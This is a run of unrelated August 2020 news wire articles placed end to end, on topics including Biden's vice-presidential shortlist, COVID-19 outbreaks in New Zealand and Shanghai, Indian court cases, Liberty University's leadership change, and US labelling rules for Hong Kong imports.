Kamala Harris (R) after the conclusion of the 2020 Democratic U.S. presidential debate in Houston, on Sept. 12, 2019. (Mike Blake/File Photo/Reuters) Some consider her a moderate member of the Democratic Party, earning plaudits from across the aisle. In May, Sen. Lindsey Graham (R-S.C.) told radio host Hugh Hewitt: I think shes the leading candidate [for Bidens running mate]. I know her. I didnt like what she did in the [Brett] Kavanaugh [Supreme Court confirmation] hearings by any stretch of the imagination. But shes hard-nosed. Shes smart. Shes tough. Harriss record as California attorney general and district attorney in San Francisco was heavily scrutinized during the Democratic primary and turned off some liberals and younger black voters, who saw her as out of step on issues. She tried to strike a balance on these issues, declaring herself a progressive prosecutor who backs law enforcement reforms. Trump Campaign Response A spokesperson for President Donald Trumps reelection campaign highlighted Harriss Democratic primary attacks on Bidens record. Not long ago, Kamala Harris called Joe Biden a racist and asked for an apology she never received, Trump spokesperson Katrina Pierson said in a statement on Aug. 11. In her failed attempt at running for president, Kamala Harris gleefully embraced the lefts radical manifesto, calling for trillions of dollars in new taxes and backing Bernie Sanders government takeover of health care, Pierson said. She is proof that Joe Biden is an empty shell being filled with the extreme agenda of the radicals on the left. At the ballot box, Americans will resoundingly reject the abysmal failures of BidenHarris in favor of the America First strength of President Donald Trump and Vice President Mike Pence. Biden, who spent eight years as President Barack Obamas vice president, has spent months weighing who would fill that same role in his White House. He pledged in March to select a woman as his vice president, easing frustration among Democrats that the presidential race would center on two white men in their 70s. The Associated Press contributed to this report. New Zealand has recorded new cases of community transmission of coronavirus for the first time in more than 100 days. Prime minister Jacinda Ardern announced on Tuesday that four cases of community transmission were confirmed, after 102 days without any. She said the city of Auckland will go into lockdown for three days from tomorrow noon until midnight on Friday. The four cases are from one household in Auckland, officials said. One of the cases is a pre-school child. New Zealand prime minister Jacinda Ardern announced new cases of COVID-19 on Tuesday. (AP) Ardern said: We have not been able to trace the sources of these cases. We need to take a much more precautionary approach until we can find the source of this case and make sure we reduce the risk of wider spread. New Zealand has been hailed as a success for its approach to tackling the spread of COVID-19 and marked 100 days without a new domestic case at the weekend. In June, it recorded its first coronavirus case of any kind for 24 days after two women who travelled from the UK tested positive. On Tuesday, Ardern announced that Auckland will move to alert level 3 restrictions from noon on Wednesday for three days. This means people will be asked to stay at home and bars and many other businesses will be closed. Gatherings of more than 10 people are again restricted. The rest of the country was also be moved to alert level 2 restriction from Wednesday, she said. According to Johns Hopkins University, there have been 1,570 coronavirus cases in New Zealand and 22 deaths. Director general of health Ashley Bloomfield said the four confirmed cases were within one family, who had no history of international travel. One of those who tested positive is in their 50s. This is something we have prepared for, Ardern said. A barber wearing a face mask in Auckland, New Zealand, cuts a customer's hair under coronavirus guidelines. (Getty) We have had a 102 days and it was easy to feel New Zealand was out of the woods. No country has gone as far as we did without having a resurgence. And because we were the only ones, we had to plan. And we have planned. She said: These three days will give us time to assess the situation, gather information, make sure we have widespread contact tracing so we can find out more about how this case arose and make decisions about how to respond to it once we have further information. Story continues She said that traveling into Auckland will be banned unless people live there and are traveling home. Until Tuesday, the only known cases of the virus in New Zealand were 22 travellers who had recently returned from abroad and were being held in quarantine. Coronavirus: what happened today Click here to sign up to the latest news and information with our daily Catch-up newsletter The British lender interviewed 200 Indian companies across revenue sizes, from the smallest to large ones, between April 28 and May 12 this year as part of the 14-nation survey. The findings come at a time when the Covid-19 pandemic has had an impact on economic activities, and due to the stress that it has caused, the Reserve Bank of India (RBI) has also announced a one-time restructuring of ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Wellington, Aug 11 : New Zealand reported one new COVID-19 case of COVID-19 on Tuesday, after a period of 102 days, taking the total number of active cases in the country to 22, all in managed isolation or quarantine facilities, according to the Ministry of Health. Tuesday's case was a man in his 20s who arrived in New Zealand on July 30 from Melbourne, Xinhua news agency quoted Director-General of Health Ashley Bloomfield as saying at a press conference. He was in managed isolation at the Grand Millennium and tested negative for COVID-19 around day three of his stay, but turned positive some nine days later and has now been transferred to the Auckland quarantine facility, Bloomfield said. This case brought New Zealand's total number of confirmed cases of COVID-19 to 1,220. None of those people are receiving hospital-level care, he said. The Ministry is planning for a COVID-19 immunization program, and while there is still significant uncertainty on what a potential COVID-19 vaccine might be and how it will be delivered. The death toll stands at 22. Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text Senator Kamala Harris has plenty of baggage within her own party stemming from her time as a prosecutor and attorney general in California, where she has been accused of being too harsh on non-violent criminals and pursuing policies that had disproportionately harmful impacts on communities of colour. Yet, she is still widely seen as the frontrunner to become the Democratic Party's vice presidential candidate. Image copyright REUTERS Image caption Susan Rice, shown in 2017, says her White House experience gives her the right background for a vice-presidential role A former Obama White House official, Susan Rice, is a top contender to be Joe Biden's running mate. Even if she is not chosen as the vice-presidential nominee, she is likely to be a key player if he wins. So who is she? Speaking at a White House cocktail party shortly before Donald Trump moved in, Susan Rice looked wistful. "You'll miss us," she tells a journalist. Today Ms Rice, the 55-year-old former national security adviser, is hoping for a return to power. She is on the short list of candidates to become the Democratic vice-presidential nominee. If she is not chosen as vice-president and Mr Biden wins the election, she could potentially become secretary of state. Ms Rice's name is being floated as Mr Biden is under increasing pressure to select not just a woman - which he has committed to do - but a black woman as a running mate. Senator Kamala Harris is frequently mentioned as a possibility, as are congresswomen Karen Bass and Val Demings, Atlanta Mayor Keisha Lance Bottoms, and Georgia governor candidate Stacey Abrams. Ms Rice's biography makes her seem like a natural choice for a top slot. But she has never run for office, and some analysts question whether she is the best candidate for the ticket. They say she does not have the political chops needed to win a close election. They also wonder about the baggage that she would bring to the race for the White House. Image copyright JUSTIN LANE Image caption Susan Rice, shown with Joe Biden and UN Secretary General Ban Ki-moon in 2010, worked with Mr Biden at the White House While working for Mr Obama, Ms Rice became a lightning rod for controversy. After US outposts in Benghazi, Libya, were attacked in September 2012, Ms Rice spoke about the melee on television, describing the attacks as "spontaneous violence" rather than as assaults that had been organised by militant groups. Ambassador J Christopher Stevens and three other US citizens were killed in those attacks. Republicans lashed out at her, criticising her televised remarks, and said that she had misled the public about the nature of the assaults. Ms Rice said that she had been providing the public with the information that was available to her and other White House officials at the time. Nearly a decade later, the controversy still haunts her. It could remain as a liability for Democrats during the campaign. A target for conservatives Michael S Smith II, a terrorism analyst who is a Johns Hopkins University lecturer, says that conservatives would remind people of Ms Rice's remarks about Benghazi. These conservatives, he says, would use her remarks to show that, in their view, Democrats are dishonest about the threat posed by terrorist groups and that progressives are weak on national security. Says Mr Smith: "She was the poster child for conservatives who said that Obama was lying to the public about threats posed by al-Qaeda" and other groups that have carried out attacks. Yet many Democrats believe that she is the right person for the job of vice-president and that she would add lustre to the ticket. She worked with Mr Biden and other White House officials on the Iran nuclear deal of 2015, and she helped with the US efforts on the Paris climate agreement. Under Mr Trump's leadership, the US has pulled back from international agreements. David Litt, a former speechwriter for the Obama White House and the author of Democracy in One Book or Less, says that the US lost its standing on the global stage because of Mr Trump's presidency. "I can remember when our allies were upset with America, but I can't remember a time when allies pitied America," Mr Litt says. Image copyright PETE SOUZA Image caption Susan Rice, shown on far right with President Obama, Secretary of State Hillary Clinton and others Mr Litt believes that Ms Rice would be an excellent choice as a vice-president because of her experience in the global arena: she would be able to re-establish strong relationships with allies of the United States, he says, and would help "restore America's place in the world". Among the dozen or so leading candidates to become Mr Biden's running mate, Ms Rice has the strongest background in international issues. At age 32, she became an assistant secretary of state and later served as ambassador to the UN. Since leaving the White House, she has written a memoir, Tough Love, a story that recounts her Washington childhood and her life with her husband, Ian Cameron, a television producer who was born in Canada, and two children. She also describes her family history: Her great-great grandfather was born a slave, and part of her family was originally from Jamaica. In her memoir, she said that she had little interest in electoral politics for herself, explaining she "didn't have the patience or obsequiousness to run for office and was not keen on compromising my principles". "Extraordinary poise" Recently, though, she has come around to the idea. During an interview on CBS This Morning, she said that she would bring decades of experience in the executive branch to the job of vice-president. She helped fight Ebola and other pandemics during her time at the White House, she explained, and said that she knows what diseases can do to individuals and society. She described the economic impact of the current pandemic "I understand deeply the economic repercussions for Americans who are suffering," she said, adding that she understands how the "suffering has disproportionately affected communities of colour". She said her lack of experience as a candidate matters less today since campaigning is done "remotely". Still it is a tall order: running for office is more personal - and in some ways more difficult - than serving in office, say those who have done both. A former assistant secretary of state for human rights, Tom Malinowski made the transition to street-level politics himself. He is now a Democratic congressman from New Jersey. He met Ms Rice when they were both Rhodes scholars at Oxford and says that she has what it takes to win: "She has extraordinary poise and self-confidence and intelligence that comes across in a genuine way." Mr Biden is expected to make his announcement about a vice-presidential candidate in the coming days. Ms Rice has the courage of her convictions. But the question remains: will she convince others that she is the right person for the ticket? Biden VP pick: Susan Rice, the diplomat and lightning rod is not a substitute for school and its purpose is to keep the learning process moving, Deputy Chief Minister said on Tuesday. Sisodia, who is also Delhi's Minister, interacted with teachers and parents at a government school in Chirag Enclave to review the online and semi- system enforced in view of closure of schools due to the COVID-19 pandemic. "Students are facing huge losses due to the ongoing pandemic. The kind of exposure and growth a child gets while coming to school cannot be compensated through an online medium. Our motive is to reduce the quantum of the loss which students are facing. Therefore, online and semi- is the need of the hour," Sisodia said. "I understand that this situation is not adequate for children's development but our motive right now is to keep the learning process moving. If the parents and teachers along with the 16 lakhs students of Delhi will start praying, we are sure soon we will be able to re-open our schools," he added. During the review parents suggested the idea of conducting PTMs through video conferencing so that they can also share their concerns with the teachers. Universities and schools across the country have been closed since March 16, when the Centre announced a countrywide classroom shutdown as part of measures to contain the COVID-19 outbreak. A nationwide lockdown was announced on March 24, which came into effect the next day and threw economic activities out of gear, rendering many homeless and penniless and leading to an exodus of migrants to their home states. While the government has largely eased restrictions, schools and colleges continue to remain closed. Holding that daughters cannot be deprived of their right of equality, the Supreme Court Tuesday ruled that they will have equal coparcenary rights in joint Hindu family property even if the father died before the Hindu Succession (Amendment) Act 2005. A three-judge bench of Justices Arun Mishra, S Nazeer and M R Shah said the provisions contained in substituted Section 6 of the Hindu Succession Act, 1956 confer the status of coparcener on the daughter born before or after amendment in the same manner as a son with the same rights and liabilities. Coparcener is a term used for a person who assumes a legal right in parental property by birth only. The bench said, "the rights can be claimed by the daughter born earlier with effect from September 9, 2005 with savings as provided in Section 6(1) as to the disposition or alienation, partition or testamentary disposition which had taken place before December 20, 2004. Since the right in coparcenary is by birth, it is not necessary that father coparcener should be living as on September 9, 2005." The verdict makes it clear the amendment to the Hindu Succession Act, 1956 granting equal rights to daughters to inherit ancestral property would have retrospective effect. The apex court said the appeals on the issue were pending before different High Courts and subordinate courts and the matters have already been delayed due to legal imbroglio caused by conflicting decisions. "The daughters cannot be deprived of their right of equality conferred upon them by Section 6. Hence, we request that the pending matters be decided, as far as possible, within six months," the bench said. The apex court's verdict came on the issue whether the amendment to the Hindu Succession Act, 1956 granting equal rights to daughters to inherit ancestral property would have retrospective effect. Liberty University has appointed a retired Alaska pastor who is opposed to LGBT rights to be interim president just days after Jerry Falwell Jr. began an indefinite leave of absence after an Instagram photo of himself with unzipped pants caused outrage. Jerry Prevo, who has served as chairman of the Virginia school's board of trustees since 2003 and recently retired as the senior pastor of a baptist church in Alaska, started as acting president on Monday. Prevo, who spent 47 years as the pastor of Anchorage Baptist Temple before stepping down last year, was known for his opposition to LGBT rights and his influence in Alaska politics. He also partnered with Samaritan's Purse, the Christian relief charity run by the Rev. Franklin Graham, a prominent conservative evangelical allied with Falwell and President Donald Trump. Scroll down for video Liberty University has appointed retired Alaska pastor Jerry Prevo to be interim president just days after Jerry Falwell Jr. began an indefinite leave of absence after an Instagram photo of himself with unzipped pants caused outrage The university announced in a one-sentence statement on Friday that Falwell was taking a leave of absence. It came just days after Falwell posted a photo of himself on Instagram showing him posing with his pants unbuttoned and his arm around a young woman. He later said the photo was taken at a costume party and the pregnant woman is his wife's assistant Falwell, who is also a high-profile Trump supporter and ally, has led the private evangelical university founded by his evangelist father, the late Rev. Jerry Falwell, for 13 years. The university announced in a one-sentence statement on Friday that Falwell was taking a leave of absence. It came just days after Falwell posted a photo of himself on Instagram showing him posing with his pants unbuttoned, stomach exposed and his arm around a young woman. Falwell apologized for the photo, which he said was taken during a costume party while he was on vacation. He said in an interview with Lynchburg radio station WLNI that the woman, whom he identified as his wife's assistant, was pregnant and couldn't get her pants zipped, and that he was imitating her. He said it was all in 'good fun'. 'I've apologized to everybody and I've promised my kids... I'm going to try to be a good boy from here on out,' he told the interviewer. Falwell was holding a glass filled with a dark liquid in the photo, which he said in the caption was 'just black water... a prop only.' Jerry Prevo (above), who has served as chairman of the Virginia school's board of trustees since 2003 and recently retired as the senior pastor of a Baptist church in Alaska, started as acting president on Monday The photo, which was deleted but not before it spread widely online, sparked criticism from liberals, conservatives and evangelicals alike. Many said the behavior was unbecoming and possibly hypocritical from the leader of a university that requires its students to follow a strict code of conduct that includes no alcohol. Prevo, who will start working from the campus on August 17 and will step aside from his position on the board, said in a statement last week that Liberty has experienced 'unprecedented success' academically and financially under Falwell's leadership. 'Unfortunately, with this success and the burdens of leading a large and growing organization comes substantial pressure,' his statement said. Announcing the news of his new position on Monday, Prevo urged people to pray for the Falwell family. 'Please pray for us as well as the Falwell family as we embark on our academic year and so we may continue to be united in our common purpose and our faith in Christ,' Prevo said. Falwell has not spoken publicly since the school announced his leave of absence. Liberty University, founded by Falwell's father, enforces a strict code of conduct for students Liberty University expects its students to dress in a certain manner Liberty alumni who have been critical of Falwell and increasingly vocal about wanting new leadership, stepped up their organizing in the days after his leave of absence was announced. Four alumni on Monday unveiled a new nonprofit called 'Save 71,' a reference to the year of Libertys founding, designed to mobilize alumni, students and faculty behind reform at the university. Liberty 'needs to repent of its sins before seeking redemption,' the group posted on its website, urging the board to name an independent committee to seek a longer-term replacement for Falwell. 'The Board of Trustees must acknowledge the damage President Falwell has done to Liberty and the hypocrisy and corruption that has soaked into parts of its culture.' Whether Liberty is prepared to chart a future course without the influence of Falwell and his backers, however, remains unclear. Falwell was among the earliest Christian conservatives to endorse Trumps first presidential campaign and has routinely been in the spotlight since then for a series of controversies in both his role at Liberty and his personal life. Falwell has most recently faced push back for the university's decision to welcome students back to campus amid the coronavirus pandemic, as well as for a social media post invoking the blackface scandal that Virginia's Democratic governor faced last year. Liberty said in June that it is planning 'to be fully open with in-person instruction for on-campus students' in the fall, while adhering to public health guidelines and allowing students to finish the semester online after November. Parents of children with CF often struggle to keep jobs while balancing hospital trips and daily care needs of their child, said Claires Place Foundation Executive Director Melissa Yeager. "Our Work Proudly Program provides financial support needed to gain meaningful, remote employment. Claires Place Foundation, a non-profit organization providing support to children and families affected by cystic fibrosis (CF), is pleased to announce the launch of their Work Proudly Program. The pilot program provides job training and equipment needed for work-from-home employment to adults with CF and their caregivers. Through the Work Proudly Program, CF patients and caregivers will see reduced unemployment and increased earning potential and self-esteem. Parents of children with CF often struggle to keep jobs while balancing hospital trips and daily care needs of their child, said Claires Place Foundation Executive Director Melissa Yeager. As life expectancy and lung function for those with CF continues to improve, many patients face losing their Social Security Disability Insurance income and need to find a way to support themselves financially. CF caregivers and adult patients both need flexible, mobile jobs that allow them to continue working while dealing with the intense regimen of CF care. We are always listening to our community and trying to find better ways to support them. To meet this need we have created the Work Proudly Program to provide financial support and expertise needed to gain and maintain meaningful, remote employment. Claires Place Foundation will pilot the Work Proudly Program through June 2021, serving 15 individuals with CF or caregivers of children with CF. The program will help participants identify potential careers, cover the cost of certificate job training and provide them with tools and equipment for remote work. This will allow participants to gain the skills to be competitive in the job market and acquire flexible, work-from-home employment or hospital employment. Participants will be recruited through a social worker referral. The Claires Place Foundation Work Proudly Program was a recent recipient of this years Cystic Fibrosis Foundation (CFF) Impact Grants. The grants support and empower the CF community through four new virtual programs focused on engaging and connecting patients. Like all of our programs, my daughter and our late founder, Claire Wineland, inspired the program, said Yeager. Claire personally experienced how difficult it was as a young adult with CF to find flexible employment that would provide her with a sustainable income. As Claire always said, Live a life that you are proud of. We are committed to carrying on her legacy by helping CF patients and caregivers live proudly and that includes having a fulfilling career. To help support the Claires Place Foundation Work Proudly Program please visit here to donate. About Claires Place Foundation, Inc. Claires Place Foundation, Inc. is a 501(c)(3) non-profit organization providing support to children and families affected by cystic fibrosis (CF). Claires Place Foundation is named in honor of Claire Wineland who lived with CF her entire life and passed away at the age of 21. Claire was an activist, author, TEDx Speaker, social media star and received numerous awards. Claires foundation was a way for her to assure that others living with CF enjoyed the same hope, strength and joy that she enjoyed. Recipient of Los Angeles Business Journals Small Nonprofit of the Year, the foundation provides grants to families affected by CF, offering both emotional and financial support. Today, Claires Place Foundation continues to carry on Claires legacy. For more information and make a donation, please visit http://www.clairesplacefoundation.org. ITHACA, N.Y. - In their new book, "Four Threats: The Recurring Crises of American Democracy," Suzanne Mettler, professor of government at Cornell University, and Robert Lieberman, professor of political science at Johns Hopkins University, not only assert that history repeats itself - they also identify the underlying causes of democracy destabilization. American democracy has often been fragile, they argue, and today it faces an unprecedented crisis. Tensions between political sides had been rising for years. The president signed laws to keep out immigrants from so-called "hostile" nations and to prosecute those who criticized his administration. Party divisions spilled into everyday life, leading to fights and violence. The reference is not, as a reader in today's America might think, to the present day. It was 1798, and President John Adams had just signed the Alien and Sedition Acts. The young nation faced the possibility that states would secede, aristocrats would take power, and the democracy, operating under a Constitution not yet a decade old, would collapse. "Watching the growing chaos and division, Americans of all stripes worried that their experiment in self-government might not survive the decade," write Mettler and Lieberman. Four threats weaken democracy: political polarization; conflict over who belongs in the political community; high and growing economic inequality; and excessive executive power. Each of these threats by itself can damage democracy, and "Four Threats" explores examples that include economic inequality in the 1890s combined with political polarization that led to the disenfranchisement of millions of African American men and the expansion of executive power in the 1930s during the Great Depression. Now, Mettler and Lieberman argue in the book, America faces all four threats at the same time. Today's deep political polarization, race- and gender-based tensions, soaring economic inequality and expanded executive capacity have given rise to political leaders willing to circumvent established norms to gain, wield and keep power. "It is this unprecedented confluence of all four threats - more than the rise to power of any particular leader - that lies behind the contemporary crisis of American democracy," they write. "The threats have grown deeply entrenched, and they will likely persist and wreak havoc for some time to come." "Four Threats" details past crises not only to illustrate how democracy goes wrong, but also to identify factors that help democracy to thrive. From the same episodes of the past, we can learn that democracy works well in a society that is less polarized, more inclusive and where people in power are held accountable. The book also describes how should remember that democracy is a work in progress and can change course. During one of the lowest points of American democracy - the Civil War - President Abraham Lincoln's Gettysburg Address called democracy an "unfinished work." Mettler and Lieberman call on Americans to continue this work in progress. "With the spirit of magnanimity and shared citizenship invoked by Lincoln," they write, "let us carry on the work to strengthen and revitalize democracy." ### A judge has sentenced an Alabama woman to life imprisonment after she pleaded guilty to murder in the killing of her 4-year-old daughter. Stephanie Diane Smith, 29, pleaded guilty Monday in the death of Zadie Wren Cooper four years ago, records show. The Athens News-Courier reported Smith was charged with capital murder after admitting to Athens police that she used a pillow to smother the girl. She pleaded guilty to a reduced charge of felony murder, and Circuit Judge C. Chadwick Wise imposed a life term that includes the possibility of parole. The woman has been in jail since her arrest in 2017. Smith told authorities she had a mental condition and had been off her medication before the killing. Smith was set for trial this year before the coronavirus pandemic forced courts to halt jury trials. The Supreme Court is hearing the plea of actress Rhea Chakraborty in the Sushant Singh Rajput Death case. Rhea, via her lawyer Shyam Divan, told the Supreme Court on Tuesday that she has been traumatised after Sushant's death. "I was in love with Sushant Singh Rajput, Ive been traumatised after his death but Im being victimised right now," Rhea told the SC, reports CNN-News18. Rhea's lawyer also claims that the Patna Police had no jurisdiction and the correct course was to transfer the probe to Mumbai Police. He refers to the affidavit by Mumbai Police, saying that Mumbai Police have recorded statements of 56 persons and all angles related to the case are being looked into. #NewsAlert I was in love with Sushant Singh Rajput, Ive been traumatized after his death but Im being victimised right now: Rhea in SC.@prabhakarjourno with more details.Input: @utkarsh_aanand#WhoKilledSushantJoin the broadcast with @shreyadhoundial. pic.twitter.com/IF8ChHsW19 CNNNews18 (@CNNnews18) August 11, 2020 Rhea also told the court that Sushant's death case has been blown out of proportion as elections are due in Bihar and claimed she was being subjected to media trial due to "constant sensationalisation" causing her "extreme trauma". Chakraborty, 28, also submitted in an additional affidavit filed in the apex court she should not be made "scapegoat of political agendas" in the case, and alleged that Bihar Chief Minister Nitish Kumar is "reported" to be responsible for registration of the FIR in Patna against her. There was no immediate reaction from the Bihar government to the allegation. The submission by the actress in a 12-page affidavit in which she said the "constant sensationalisation" was causing her extreme trauma and infringement of privacy of her rights came a day ahead of the next hearing of her plea for transfer of the Bihar police FIR against her from Patna to Mumbai. The CBI has since taken over the probe after the Centre gave its approval following a recommendation by the Bihar government. It has re-registered the Bihar police's First Information Report(FIR) of alleged criminal conspiracy and abetment to suicide against Chakraborty, who was Rajput's girlfriend. Others named in the FIR are Rhea's brother Showik Chakraborty, father Indrajit Chakraborty, mother Sandhya Chakraborty, Rajput's house manager Samuel Miranda and Shruti Modi, the business manager of Rhea and Rajput. The FIR was based on the complaint of Rajput's 77-year-old father Krishna Kishore Singh, a resident of Patna. The Mumbai police had been also probing the alleged suicide following an accidental death report complaint lodged by Bandra police. Rajput, 34, was found hanging from the ceiling of his apartment in suburban Bandra in Mumbai on June 14. The Enforcement Directorate (ED), meanwhile, began a fresh round of questioning of Chakraborty and her family members in connection with its probe in a money laundering case linked to Rajput's death. (with inputs from PTI) Source: Xinhua| 2020-08-11 10:33:55|Editor: huaxia Video Player Close SHANGHAI, Aug. 11 (Xinhua) -- Shanghai reported eight new imported COVID-19 cases and no increase in domestically transmitted cases Monday, the municipal health commission said Tuesday. All of the imported cases are Chinese nationals flying from the United Arab Emirates (UAE). They departed from the UAE on Aug. 7 and arrived at the Shanghai Pudong International Airport via Sri Lanka on the same day. They were put under quarantine upon arrival and diagnosed as confirmed cases after showing symptoms, according to the commission. All close contacts of the patients on the same flight have been put under quarantine. As of Monday, Shanghai had reported 452 confirmed imported cases and 342 locally transmitted cases. Enditem First, the virus came for his city. Then, his family. On March 23, Long Beach Mayor Robert Garcia announced the California community's first coronavirus death - an unnamed woman in her 50s - with a mournful message: "We've been dreading this day and were hoping it would never come." Garcia, a Democrat, would spend the next 140 days steering Long Beach through its most dire health crisis in a century. Long Beach is located near the southern tip of Los Angeles County, which leads the country in reported virus cases, and in the months that followed that first fatality, more than 180 residents died. Garcia held frequent briefings and penned a column in the local newspaper. The virus, he told his constituents, was serious. In nearby West Covina, Garcia's mother, Gabriella O'Donnell, was also battling the coronavirus - as a medical assistant in the clinic where she had worked for more than 25 years. She was, the mayor said, "a health care hero." But at some point, the family doesn't know when, Gabriella and her husband Gregory O'Donnell became infected. On July 13, Garcia announced that his mother and stepfather were hospitalized and on ventilators. "The covid-19 health crisis is impacting our country, our city and my family," Garcia said in a series of posts to Twitter. "As a son, and as your mayor, I promise to continue to lead us through this pandemic with resolve and compassion." That job would only get more difficult. On July 26, Gabriella O'Donnell died of complications from covid-19. She was 61. "She immigrated from Peru to the United States in search of the American Dream - and she found it," Garcia said of his mother. "She loved to help people and lived a happy and joyous life. She will always be our guiding light and the center of our lives." In an interview with Long Beach Press-Telegram editor Rich Archbold, Garcia said two of his mother's proudest days came a few years apart, when Garcia and his brother each graduated from California State University at Long Beach. Their family has since established a scholarship there in her honor to assist women and immigrants studying health care. In the interview, Garcia also said he and his mother shared a fondness for comics and horror films. "She was a little bit of a nerd like me," Garcia said. "She loved going to Comic-Con. She liked reading books about vampires and monsters. And she loved going to movies. We went to a lot of movies and especially liked scary ones." On Aug. 9, the day after Garcia's family held a service for his mother, Gregory O'Donnell, her husband of 27 years, also died after his own fight with the coronavirus. Gregory O'Donnell was 58 years-old, stepfather to Garcia and father to Jacob O'Donnell, who memorialized his dad in a Facebook post Monday as "a great man and an amazing person." Gregory O'Donnell, Jacob wrote, was a small-business owner for more than three decades, who passed on his sense of humor and his love of Jimi Hendrix and Led Zeppelin. "As my family is just broken with the loss of my parents," Jacob O'Donnell wrote in his tribute, "I find comfort in knowing that they are together again - free of any pain or suffering." Garcia and his family have received an outpouring of support from political leaders across California and the country. Two days after his mother's passing, the mayor received a call from former vice president Joe Biden. "I can't express enough how much comfort it brought me," Garcia said in a tweet. Sen. Kamala D. Harris (D-Calif.), who as the state's attorney general swore Garcia into office, told him: "My heart breaks for you and your entire family after another devastating loss. May your stepfather and your mother be your guiding light in the years to come." In the coming months, Garcia will have to continue to balance personal grief with a city's anxiety over the virus that is still infecting scores of his residents. "We're making progress," Garcia said in his interview with the Press-Telegram's Archbold. "But we have a ways to go, and we shouldn't let up. We are on the right road, and we will get through this together." By PTI MUMBAI:Actor Sooraj Pancholi has submitted a complaint to Mumbai Police over him being linked to the case of death of fellow actor Sushant Singh Rajput, an official said on Tuesday. In his complaint submitted at Versova police station here on Monday night, Pancholi said he is being defamed on various social media platforms, including Facebook, Twitter and Instagram, by being linked to Rajputs death, he said. "We have received an application from Sooraj Pancholi and an enquiry is on," Versova police station's senior inspector Raghvendra Thakur said. So far, no offence has been registered (in connection with Pancholi's complaint), the official said. There were recently some social media messages, screenshots and derogatory content allegedly linking Pancholi to the death of Rajput and the latter's former manager Disha Salian. Pancholi's mother Zarina Wahad earlier denied rumours linking her son with Rajput's death. Rajput, 34, was found hanging at his apartment in suburban Bandra on June 14. Salian, 28, allegedly committed suicide by jumping from a high-rise building in Malad area here on June 8, according to police. The Mumbai Police have so far recorded statements of more than 50 people, including Rajput's sisters, his friend and actress Rhea Chakraborty and some other film personalities in connection with his death. Rajput's father K K Singh on July 25 lodged a complaint with Patna police against Chakraborty and her family members, accusing them of abetting the actor's suicide. The CBI last week re-registered this FIR as a fresh case and named as accused the same people. Singh also alleged financial irregularities in bank accounts of his son. The Enforcement Directorate has questioned Chakraborty, Rajput's friend and roommate Siddharth Pithani, the late actor's business manager Shruti Modi and some other persons in connection with a money laundering case linked to his death. Artificial intelligence could improve CT screening for COVID-19 diagnosis Researchers at the University of Notre Dame are developing a new technique using artificial intelligence (AI) that would improve CT screening to more quickly identify patients with the coronavirus. The new technique will reduce the burden on the radiologists tasked with screening each image. Testing challenges have led to an influx of patients hospitalized with COVID-19 requiring CT scans which have revealed visual signs of the disease, including ground glass opacities, a condition that consists of abnormal lesions, presenting as a haziness on images of the lungs. "Most patients with coronavirus show signs of COVID-related pneumonia on a chest CT but with the large number of suspected cases, radiologists are working overtime to screen them all," said Yiyu Shi, associate professor in the Department of Computer Science and Engineering at Notre Dame and the lead researcher on the project. "We have shown that we can use deep learning -- a field of AI -- to identify those signs, drastically speeding up the screening process and reducing the burden on radiologists." Shi is working with Jingtong Hu, an assistant professor at the University of Pittsburgh, to identify the visual features of COVID-19-related pneumonia through analysis of 3D data from CT scans. The team is working to combine the analysis software with off-the-shelf hardware for a light-weight mobile device that can be easily and immediately integrated in clinics around the country. The challenge, Shi said, is that 3D CT scans are so large, it's nearly impossible to detect specific features and extract them efficiently and accurately on plug-and-play mobile devices. "We're developing a novel method inspired by Independent Component Analysis, using a statistical architecture to break each image into smaller segments," Shi said, "which will allow deep neural networks to target COVID-related features within large 3D images." Shi and Hu are collaborating with radiologists at Guangdong Provincial People's Hospital in China and the University of Pittsburgh Medical Center, where a large number of CT images from COVID-19 pneumonia are being made available. The team hopes to have development completed by the end of the year. ### The research is being funded by the National Science Foundation through a Rapid Response Research (RAPID) grant. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Islamabad, Aug 11 : Protection centres for Pakistan's transgender people will be completed by the end of this year, the National Assembly was informed during a discussion on the harassment of the community across the country. The discussion took place on Monday, reports Dawn news. Parliamentary Secretary for Human Rights Lal Chand Malhi said this was a devolved subject, and as far as the federal capital is concerned three incidents of violence against transgender people were reported in the city in the last three years. He said these were murder cases and "arrests have been made and strict action has been taken against the culprits, as all are equal citizens". But PTI lawmaker Asma Qadeer disputed the figure, saying that nine cases have been reported in nine months. "Transgender people who demand alms at traffic signals are not only harassed by the general public but also by the beggar mafia. You are saying that transgender people have equal rights, but the fact is that they are not allowed to be buried in the graveyards of the general public, they are denied admission in hospitals, etc," she said. Another ruling party lawmaker, Zille Huma said that campaigns need to be run in the media and on social media to protect transgender people, adding that seats should also be allocated for transgender people in vocational institutes. Pakistan's transgender population currently stands at 10,400. Two years ago, the National Assembly had passed the landmark Transgender Persons (Protection of Rights) Bill 2017, which enables trans people to be recognised as they perceive themselves and register with the government institutions as transgenders, Dawn news reported. It also provides them basic rights such as obtaining driver's licences and passports. Goods made in Hong Kong and imported into the US must be marked to indicate their origin is China, a govt notice said. The U.S. will order imports from Hong Kong to be labeled as Made in China according to a government document, in the latest escalation of trade tensions between the two nations. The notice, published in the U.S. Federal Register, says that goods produced in Hong Kong and imported into the U.S. must be marked to indicate their origin is China. This will begin after Sept. 25, the document said. The actual impact of the new rules on Hong Kongs trade or economy will likely be limited as there are few direct exports from the city to the U.S. The vast majority of the citys shipments to the U.S. consist of re-exports, or goods passing through its territory with no substantial modifications. Of Hong Kongs roughly HK$304 billion ($39 billion) in exports to the U.S. last year, only about 1.2% were domestic exports, according to data from the Census and Statistics Department Hong Kong. Almost 80% was re-exports from China to the U.S. The change was made because of President Donald Trumps July executive order ending Hong Kongs special status with the U.S. due to the determination that Hong Kong is no longer sufficiently autonomous to justify differential treatment in relation to China, the notice said. Hong Kongs government protested the announcement, which it said ignored Hong Kongs unique role as a member of the World Trade Organization. The citys government will discuss the decision with the U.S. via its office in 